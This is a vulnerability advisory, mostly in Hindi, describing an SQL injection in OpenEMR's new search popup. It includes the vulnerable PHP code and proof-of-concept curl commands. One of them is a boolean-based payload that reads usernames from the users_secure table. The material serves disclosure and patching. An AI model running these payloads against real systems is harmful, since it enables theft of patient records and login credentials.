
CVE-2026-29187: SQL Injection Vulnerability in OpenEMR <8.0.0.3
कमजोरी CWE-89
SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('SQL इंजेक्शन') उत्पाद SQL कमांड के सभी या कुछ भाग को किसी ऊपरी घटक से बाह्य रूप से प्रभावित इनपुट का उपयोग करके बनाता है, लेकिन यह उन विशेष तत्वों को निष्प्रभावी नहीं करता या गलत तरीके से निष्प्रभावी करता है जो इच्छित SQL कमांड को संशोधित कर सकते हैं जब इसे निचले घटक को भेजा जाता है। उपयोगकर्ता-नियंत्रित इनपुट में SQL सिंटैक्स को पर्याप्त रूप से हटाने या कोट करने के बिना, उत्पन्न SQL क्वेरी उन इनपुट को सामान्य उपयोगकर्ता डेटा के बजाय SQL के रूप में व्याख्यायित करा सकती है। MITRE पर अधिक जानें।
OpenEMR <8.0.0.3 में नई खोज पॉपअप में एक SQL इंजेक्शन भेद्यता है जिसका प्रमाणित हमलावर शोषण कर सकते हैं। यह भेद्यता नई खोज पॉपअप कार्यक्षमता में अपर्याप्त इनपुट सत्यापन के कारण मौजूद है।
यह भेद्यता नई खोज पॉपअप कार्यक्षमता में होती है जहां उपयोगकर्ता द्वारा प्रदत्त इनपुट को select relevance कॉलम और where शर्त में सीधे SQL क्वेरी में जोड़ दिया जाता है बिना उचित स्वच्छता के। यह हमलावरों को दुर्भावनापूर्ण SQL कोड इंजेक्ट करने की अनुमति देता है।
यह भेद्यता निम्नलिखित पंक्तियों को प्रभावित करती है:
interface/new/new_search_popup.php पंक्ति 141interface/new/new_search_popup.php पंक्ति 134 और पंक्ति 136interface/new/new_search_popup.php पंक्ति 125 और पंक्ति 128 foreach ($_REQUEST as $key => $value) {
if (!str_starts_with((string) $key, 'mf_')) {
continue; // "match field"
}
$fldname = substr((string) $key, 3);
// pubpid requires special treatment. Match on that is fatal.
if ($fldname == 'pubpid') {
$relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
} else {
$relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
}
$where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
array_push($sqlBindArraySpecial, $value);
echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
++$numfields;
}
$sql = "SELECT *, ( $relevance ) AS relevance, " .
"DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
"FROM patient_data WHERE $where " .
"ORDER BY relevance DESC, lname, fname, mname " .
"LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";
$sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
$rez = sqlStatement($sql, $sqlBindArray);
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />
<link rel="stylesheet" href="/public/themes/style_light.css?v=81" />
<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>
<style>
form {
padding: 0;
margin: 0;
}
#searchCriteria {
text-align: center;
width: 100%;
font-size: 0.8rem;
background-color: var(--gray300);
font-weight: bold;
padding: 3px;
}
#searchResultsHeader th {
font-size: 0.7rem;
}
#searchResults {
width: 100%;
height: 80%;
overflow: auto;
}
#searchResults table {
width: 100%;
border-collapse: collapse;
background-color: var(--white);
}
#searchResults tr {
cursor: pointer;
}
#searchResults td {
font-size: 0.7rem;
border-bottom: 1px solid var(--gray200);
}
.topResult {
background-color: #ff9919;
}
.billing {
color: var(--danger);
font-weight: bold;
}
.highlight {
background-color: var(--info);
color: var(--white);
}
</style>
</head>
<body class="body_top">
<form method='post' action='new_search_popup.php' name='theform'>
<input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
<input type='hidden' name='fstart' value='0' />
<input type='hidden' name='mf_"' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'
┌──(kali㉿kali)-[~]
└─$
इसका शोषण करने के लिए कई तकनीकें हैं; उनमें से एक बूलियन-आधारित हमला है, जो अंतिम पेलोड का उपयोग करके काम करता है:
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100